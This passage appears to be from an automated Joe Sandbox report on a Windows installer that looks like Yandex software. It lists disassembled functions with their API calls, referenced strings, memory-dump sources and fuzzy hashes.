GetProcAddress.KERNEL32(00000000,ChangeWindowMessageFilter), ref: 0085A574

Strings

user32.dll, xrefs: 0085A549
ChangeWindowMessageFilter, xrefs: 0085A56E
ChangeWindowMessageFilterEx, xrefs: 0085A58A

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressInfoInit_thread_headerProc$HandleModuleNativeProductSystemVersion
String ID: ChangeWindowMessageFilter$ChangeWindowMessageFilterEx$user32.dll
API String ID: 39747407-1782194287
Opcode ID: b98feddab3e757ba33de3fc337550724b73bde3835d51045617df9caac76f03d
Instruction ID: 03f3c1f743328bb122fe8fc88be58f6c2341446939df19691a776988abaabb05
Opcode Fuzzy Hash: b98feddab3e757ba33de3fc337550724b73bde3835d51045617df9caac76f03d
Instruction Fuzzy Hash: 72F0963A3553147BCF1437F55C8DF6E3758FB8576BF140014FA02D2191DA7584409B62

Function 009141C1 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160c4f079d4e1b013aef725de3c63edc246fd78af1b96f33e874d406d3f39b3b
Instruction ID: 2c8bd7d8b460b32d6553eeb9060297af7f4d5a7be8ee162b130e61615f36247d
Opcode Fuzzy Hash: 160c4f079d4e1b013aef725de3c63edc246fd78af1b96f33e874d406d3f39b3b
Instruction Fuzzy Hash: 7BB1E0B0B0424D9BDB01DFA9D880BEE7BBAAF89314F144158F5119B292C770DDD2CBA1

Function 009306E0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 88COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0000000B,?), ref: 0093078B

Strings

yandex_trust_verifier_win.cc, xrefs: 00930706
crypt32.dll, xrefs: 0093072F, 009307B8
CreateFileVersionInfo error, xrefs: 009307CA
GetCrypt32DllVersion, xrefs: 009307A8
ScopedAllowBlockingForInstallUtil, xrefs: 0093070B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: CreateFileVersionInfo error$GetCrypt32DllVersion$ScopedAllowBlockingForInstallUtil$crypt32.dll$yandex_trust_verifier_win.cc
API String ID: 1452528299-962809236
Opcode ID: 4c345e3693e5a624ae65999ae8b0ab35eb465f2c228f14948b51192ae7677898
Instruction ID: 8f27c1ffcf9b9f1a95c62ef82947b6c44a24b6bced8c73c06a274363c651be50
Opcode Fuzzy Hash: 4c345e3693e5a624ae65999ae8b0ab35eb465f2c228f14948b51192ae7677898
Instruction Fuzzy Hash: 7821F5316443006BDB14FB299C93F6F7659EFC2B15F04091CF9529A2D2EF60A909CBA3

Function 0091C0EB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000001,0091C0E2,00901D94,00000011), ref: 0091C0F9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0091C107
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0091C120
SetLastError.KERNEL32(00000000), ref: 0091C172

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 01fdd240f3b16317a4c9951b5fae7cdbf946e55f8f2563509fb84937e0e74605
Instruction ID: 1f491e77228261ae2ff0e07fb5982569fce0d039b9d64496700dd4d1894e827f
Opcode Fuzzy Hash: 01fdd240f3b16317a4c9951b5fae7cdbf946e55f8f2563509fb84937e0e74605
Instruction Fuzzy Hash: 4D01F1723AD3256FAA212BB8BCC59AB2649EB817B9F300229F215950F6EF914C817140

Function 0089E950 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 285COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00000000,?,?,SystemTemp,0000000A,?,00000000), ref: 0089EDBC

Strings

CreateTemporaryDirInDir, xrefs: 0089E991
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0089EC7C
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0089EC83
file_util_win.cc, xrefs: 0089E98C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AttributesFile
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$CreateTemporaryDirInDir$file_util_win.cc
API String ID: 3188754299-1011401140
Opcode ID: 4b742a19777931d833fd83e1a72ca4b3929bab19e58558ef5804fb9fc66dc778
Instruction ID: a3fdcd81b9701c9ff7709a963dfc3ce1598895e45b259d1cb6979321a4d98c17
Opcode Fuzzy Hash: 4b742a19777931d833fd83e1a72ca4b3929bab19e58558ef5804fb9fc66dc778
Instruction Fuzzy Hash: C4A1B2716083519BDB11EF24C881A6BBBE4FFD5718F08492DF5C5E3292DB20EA488793

Function 0085CCE0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 236COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(00000000,?,00000104,?,?,?,?,00944D18,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 0085CE00
__Init_thread_header.LIBCMT ref: 0085CF54

Part of subcall function 008FFBA7: EnterCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBB2
Part of subcall function 008FFBA7: LeaveCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBEF

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0085CF39
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0085CF40
Application, xrefs: 0085CEC9, 0085CECE, 0085CEE0

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CriticalSection$EnterEnvironmentInit_thread_headerLeaveVariable
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$Application
API String ID: 3061280413-3660936432
Opcode ID: c965d2a2462104fc25f3711014d956309d9b8ebc27e4855b870021041866e66c
Instruction ID: c6d490893663a9ea3cc0a815c89d6d8128119791b1c510c29c8a5e7ce05e4df2
Opcode Fuzzy Hash: c965d2a2462104fc25f3711014d956309d9b8ebc27e4855b870021041866e66c
Instruction Fuzzy Hash: 7871D670A003156FDB20AF58DC86ABEB7B5FF95705F444468EC09E7242DB70AE49CE92

Function 008F00A0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 008F02D0: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000,?,?,?,-00000001,?,008F00C5,008CE3DD,?,-00000001,?,008CE3DD,CR_SOURCE_ROOT,0000000E), ref: 008F0303
Part of subcall function 008F02D0: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,-00000001), ref: 008F0362

SetEnvironmentVariableW.KERNEL32(?,?), ref: 008F01F7
SetEnvironmentVariableW.KERNEL32(?,00000000,?,?,?,?,?,?,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 008F0293

Strings

..\..\third_party\libc++\src\include\string_view:396: assertion __pos < size() failed: string_view[] index out of bounds, xrefs: 008F0176
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008F016F, 008F023C
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008F0168, 008F0243

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: EnvironmentVariable
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\string_view:396: assertion __pos < size() failed: string_view[] index out of bounds
API String ID: 1431749950-135494634
Opcode ID: 3686a5ad33508cea450e2824b74e24053617c241f3ac280ea8a65520fd0d80b8
Instruction ID: 861bcb014341e8691c5660329ebb136e6e03a64469f75a638ae23c29454d3aa1
Opcode Fuzzy Hash: 3686a5ad33508cea450e2824b74e24053617c241f3ac280ea8a65520fd0d80b8
Instruction Fuzzy Hash: 0751F171E0021D6FDF11ABB4CC45BBF7B64FF85324F088029EA45A7243D631AA55CBA2

Function 00868E80 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 00834E50: _strlen.LIBCMT ref: 00834E60

_strlen.LIBCMT ref: 00868EC7

Strings

deflateEnd: , xrefs: 00869016
http_body_gzip.cc, xrefs: 00869004
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 00868F9D
(%d), xrefs: 00868EA2

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: (%d)$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$deflateEnd: $http_body_gzip.cc
API String ID: 4218353326-2874877394
Opcode ID: 735e8439494f18939fe64418c81719253b7b9d05567f575de13ca0a3f37b5c8a
Instruction ID: b504506e116284075791cd476faab6834946b30d1174d3233481ed25f2af67ed
Opcode Fuzzy Hash: 735e8439494f18939fe64418c81719253b7b9d05567f575de13ca0a3f37b5c8a
Instruction Fuzzy Hash: 62510971E002189BDF109B64DC41BEEB7B5FF99704F054269F549BB282EB316944CBA2

Function 0089E610 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 178COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00000104), ref: 0089E7DD

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0089E845
CreateAndOpenTemporaryFileInDir, xrefs: 0089E654
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0089E84C
file_util_win.cc, xrefs: 0089E64F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: LongNamePath
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$CreateAndOpenTemporaryFileInDir$file_util_win.cc
API String ID: 82841172-2017746051
Opcode ID: 035d85998eef2e3b39e06ab060ab0ebb1e2848d80d7ea12a112828dd63319d1a
Instruction ID: a7d223fc271bae86622f7a1b43a125cf17565394a3275c299d8a3bacf7880933
Opcode Fuzzy Hash: 035d85998eef2e3b39e06ab060ab0ebb1e2848d80d7ea12a112828dd63319d1a
Instruction Fuzzy Hash: F951D071A04345ABDB11FB24C856ABF7BA5FFD5704F08492DF985D7282EB30AA058783

Function 008AC870 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(00966AD4,?,?,00000001,00000000,00000000,?,008D51BD,00000001,?), ref: 008AC900
ReleaseSRWLockExclusive.KERNEL32(00966AD4,00000000,?,?,?,?,?,?,?,00000001,00000000,00000000,?,008D51BD,00000001,?), ref: 008AC9B3
__Init_thread_header.LIBCMT ref: 008ACA38

Strings

..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008AC9E6

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireInit_thread_headerRelease
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap
API String ID: 1281622111-302938261
Opcode ID: afa81497cc83a8034ce23d51751f134ea893b4d93157ef1f2b53a6e0e1f01235
Instruction ID: 0c1f6609bb2aa08809a4baf936d3cbe3d3f7ba31cc384269179b87e92da98b6a
Opcode Fuzzy Hash: afa81497cc83a8034ce23d51751f134ea893b4d93157ef1f2b53a6e0e1f01235
Instruction Fuzzy Hash: A7512871E042299FDB10DFA8D882A6A77A1FF41714F184138E905F7681DB717D05DBA2

Function 008443C0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008443D8
_strlen.LIBCMT ref: 00844470

Strings

download-x64, xrefs: 008443D3, 0084441B, 00844422, 00844436
download-x32, xrefs: 0084446B, 008444B2, 008444B9, 008444C6
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0084451D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$download-x32$download-x64
API String ID: 4218353326-1121541715
Opcode ID: 22e419b7e1577ae6d0b4e4da1001ade8f7bf57836b86ad5c2de70fd96c9d757e
Instruction ID: d2cdcd079b6c1dc2d539ff1136ee4dd81d0f77ad89129d489718f22739f6e2cd
Opcode Fuzzy Hash: 22e419b7e1577ae6d0b4e4da1001ade8f7bf57836b86ad5c2de70fd96c9d757e
Instruction Fuzzy Hash: 954158B1E0521D5FCB20AEF4E896BAFB7A8FF40318F150439E901E7282E664590987D6

Function 0089E0F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 126fileCOMMON

Download Yara Rule

APIs

ReplaceFileW.KERNEL32 ref: 0089E1EC

Strings

ReplaceFileW, xrefs: 0089E135
file_util_win.cc, xrefs: 0089E130

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FileReplace
String ID: ReplaceFileW$file_util_win.cc
API String ID: 77091634-3250378775
Opcode ID: 9178051a9fac6f5ffb2884befcaa123a452064a3fc1a80a96daf3b9af8547393
Instruction ID: c3eda074c6e3f57887feb20f69e565e8df99a47ba9631e7b93a0bbaacd0898ae
Opcode Fuzzy Hash: 9178051a9fac6f5ffb2884befcaa123a452064a3fc1a80a96daf3b9af8547393
Instruction Fuzzy Hash: 1C41DAB1A007416FEB10EB38DC45B6B7B98FF95358F084629F899D7242FB30A94483D1

Function 0085A5F0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

Strings

code, xrefs: 0085A664
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0085A699
lite_install_failed, xrefs: 0085A60C, 0085A63B
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0085A6A0

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$code$lite_install_failed
API String ID: 0-4122915047
Opcode ID: 60e8699d0eed3dadc253434fbfce7110570e199f38efbf9f89df767dd262bf97
Instruction ID: 0c031cc1275596eb3dc0954769fa3fa954e7cb4439f0119fa7fa98e829a03156
Opcode Fuzzy Hash: 60e8699d0eed3dadc253434fbfce7110570e199f38efbf9f89df767dd262bf97
Instruction Fuzzy Hash: D721C0753046169B9B2C8E25C4E093677E5FEB174B31D4729EC06D3640E721FC9C9693

Function 0092E8D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32(?,?,?,?,?,008404E0), ref: 0092E8F4
__aulldiv.LIBCMT ref: 0092E915
__aulldiv.LIBCMT ref: 0092E929
__aullrem.LIBCMT ref: 0092E93F

Strings

